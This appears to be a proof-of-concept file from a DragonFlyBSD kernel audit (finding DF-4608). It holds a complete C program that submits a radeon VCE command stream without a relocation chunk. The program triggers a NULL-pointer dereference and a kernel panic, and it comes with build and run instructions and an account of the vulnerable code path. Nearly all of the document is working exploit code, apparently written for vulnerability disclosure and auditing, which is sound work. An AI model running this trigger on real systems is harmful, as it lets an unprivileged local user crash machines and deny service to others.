⬢ DragonFlyBSD Kernel Audit
DF-4608 / vce_null_relocs.c
← back to finding ↓ download raw
/*
 * DF-4608 trigger: radeon_vce_cs_reloc() NULL-pointer dereference when a VCE
 * command stream is submitted WITHOUT a RADEON_CHUNK_ID_RELOCS chunk.
 *
 *   radeon_cs_parser_init()   (radeon_cs.c:284,313)  leaves p->chunk_relocs
 *                             NULL when the user omits the relocs chunk
 *   radeon_cs_parser_relocs() (radeon_cs.c:83-85)   returns 0 (success!)
 *                             instead of rejecting the submission
 *   radeon_vce_cs_parse()     (radeon_vce.c:557)     parses the IB
 *   radeon_vce_cs_reloc()     (radeon_vce.c:478-482) dereferences
 *                             p->chunk_relocs->length_dw -> NULL page-fault
 *
 * Compare the two existing guards the VCE path forgot:
 *   radeon_cs.c:846-850   generic packet path: "No relocation chunk !"
 *   radeon_uvd.c:705-709  UVD parser:          "No relocation chunk !"
 *
 * Build:  cc -O2 -Wall -o vce_null_relocs vce_null_relocs.c
 * Run:    ./vce_null_relocs /dev/dri/renderD128     (or /dev/dri/card0)
 *
 * Expected on affected hardware (SI/CIK radeon with VCE, radeonkms loaded):
 *   kernel page fault at ~NULL + offsetof(struct radeon_cs_chunk, length_dw)
 *   -> immediate panic.  Userspace needs no privileges beyond DRM access.
 * On this audit guest: exits with ENOENT-style message (no radeon GPU).
 */
#include <sys/ioctl.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

/* ---- minimal uapi re-implementation (no libdrm needed) ---- */
#define DRM_IOCTL_BASE		'd'
struct r_cs_chunk {
	uint32_t chunk_id;	/* 1=RELOCS 2=IB 3=FLAGS */
	uint32_t length_dw;
	uint64_t chunk_data;	/* user pointer */
};
struct r_cs {
	uint32_t num_chunks;
	uint32_t cs_id;
	uint64_t chunks;	/* __u64 * -> struct r_cs_chunk * */
	uint64_t gart_limit;
	uint64_t vram_limit;
};
#define RADEON_CS	0x26
#define SIZEOF_CS	32	/* sizeof(struct drm_radeon_cs) on x86_64 */
#define IOCTL_CS	_IOWR(DRM_IOCTL_BASE, 0x40 + RADEON_CS, char[SIZEOF_CS])

#define CHUNK_ID_FLAGS	3
#define CHUNK_ID_IB	2
#define CS_RING_VCE	4

int
main(int argc, char **argv)
{
	const char *dev = argc > 1 ? argv[1] : "/dev/dri/renderD128";
	int fd, r;

	/* FLAGS chunk: dword0 = flags (no USE_VM), dword1 = ring = VCE */
	uint32_t flags_dw[2] = { 0x0, CS_RING_VCE };

	/*
	 * IB chunk: session command (12 bytes: len,0x00000001,handle) then a
	 * feedback-buffer command (16 bytes) whose parse calls
	 * radeon_vce_cs_reloc(p, idx+3, idx+2, 4096) -> NULL deref of
	 * p->chunk_relocs.
	 */
	uint32_t ib_dw[7] = {
		0x0000000c,	/* len = 12 bytes */
		0x00000001,	/* session cmd   */
		0x11223344,	/* session handle */
		0x00000010,	/* len = 16 bytes */
		0x05000005,	/* feedback buffer cmd */
		0x00000000,	/* idx+2: reloc chunk index (lo) */
		0x00000000,	/* idx+3: reloc offset (hi) */
	};

	struct r_cs_chunk chunks[2] = {
		{ .chunk_id = CHUNK_ID_FLAGS, .length_dw = 2,
		  .chunk_data = (uint64_t)(uintptr_t)flags_dw },
		{ .chunk_id = CHUNK_ID_IB, .length_dw = 7,
		  .chunk_data = (uint64_t)(uintptr_t)ib_dw },
		/* NOTE: deliberately NO chunk_id == 1 (RELOCS) chunk */
	};
	uint64_t chunk_ptrs[2] = {
		(uint64_t)(uintptr_t)&chunks[0],
		(uint64_t)(uintptr_t)&chunks[1],
	};
	struct r_cs cs = {
		.num_chunks = 2,
		.chunks = (uint64_t)(uintptr_t)chunk_ptrs,
	};

	fd = open(dev, O_RDWR);
	if (fd < 0) {
		printf("open %s: %s (this guest has no radeon GPU -- "
		       "trigger not runnable here)\n", dev, strerror(errno));
		return (2);
	}
	r = ioctl(fd, IOCTL_CS, &cs);
	printf("RADEON_CS ioctl returned %d errno=%d (%s); "
	       "expected kernel panic on affected hardware\n",
	       r, errno, strerror(errno));
	return (0);
}